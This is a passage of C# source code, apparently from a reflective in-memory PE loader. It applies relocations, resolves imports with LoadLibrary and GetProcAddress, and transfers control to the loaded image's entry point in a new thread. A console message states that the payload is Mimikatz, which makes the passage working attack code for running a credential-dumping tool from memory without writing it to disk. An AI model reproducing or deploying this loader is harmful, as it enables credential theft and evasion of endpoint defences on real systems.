                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            //Resolve Imports

            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }


                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing Mimikatz");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        } //End Main